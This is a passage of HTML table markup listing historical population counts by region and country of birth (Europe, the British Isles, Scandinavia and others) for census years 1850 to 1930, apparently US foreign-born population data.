    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Not reported&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
  &lt;/TR&gt;
&lt;/TABLE&gt;

&lt;P&gt;

&lt;TABLE CELLPADDING=&quot;5&quot; BORDER=&quot;1&quot;&gt;
  &lt;TR ALIGN=&quot;right&quot; VALIGN=&quot;bottom&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;Line&lt;BR&gt;
     number&lt;/TD&gt;
    &lt;/TD&gt;&lt;TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;Region and country or area&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1930&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1920&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1910&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1900&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1890&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1880&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1870&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1860&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1850&lt;/TD&gt;
    &lt;/TD&gt;&lt;TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;Line&lt;BR&gt;
     number&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;1&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;STRONG&gt;Total&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;14,204,149&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;13,920,692&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;13,515,886&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;10,341,276&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;9,249,547&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;6,679,943&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;5,567,229&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;4,138,697&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;2,244,602&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;1&lt;/STRONG&gt;&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;Reported by region and/or country&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;14,197,553&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;13,911,767&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;13,506,272&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10,330,534&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,243,535&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6,675,875&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,563,637&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,134,809&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,202,625&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11,784,010&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11,916,048&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11,810,115&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,881,548&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,030,347&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,751,823&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,941,049&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,807,062&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,031,867&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Northern and Western Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,850,256&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6,241,916&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;7,306,325&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;7,204,649&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;7,288,917&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,499,889&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,845,679&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,773,347&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,022,195&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Northern Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,415,551&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,501,149&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,953,947&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,917,815&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,056,160&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,212,431&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,867,926&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,271,661&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,358,887&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;British Isles&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,147,733&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,172,723&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,573,534&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,783,082&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,122,911&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,772,169&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,626,241&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,199,079&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,340,812&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;7&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;United Kingdom&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,402,923&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;7&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Great
Britain&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,224,091&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,135,489&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,221,283&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,167,623&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,251,402&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;917,598&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;770,414&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;587,775&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;379,093&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT
SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;England&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;809,563&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;813,853&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;877,719&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;840,513&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;908,141&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;662,676&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;550,924&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;431,692&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;278,675&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT
SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Scotland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;354,323&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;254,570&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;261,076&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;233,524&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;242,231&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;170,136&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;140,835&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;108,518&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;70,550&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT
SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Wales&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;60,205&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;67,066&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;82,488&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;93,586&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;100,079&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;83,302&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;74,533&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;45,763&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;29,868&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;12&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT
SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Great Britain n.e.c.&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;951&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,484&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,122&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,802&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;12&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;13&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Northern
Ireland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;178,832&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;13&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;14&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Ireland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;744,810&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,037,234&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,352,251&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,615,459&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,871,509&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,854,571&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,855,827&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,611,304&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;961,719&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;14&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;15&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Scandinavia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,267,818&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,328,426&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,380,413&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,134,733&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;933,249&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;440,262&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;241,685&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;72,582&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;18,075&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;15&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;16&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
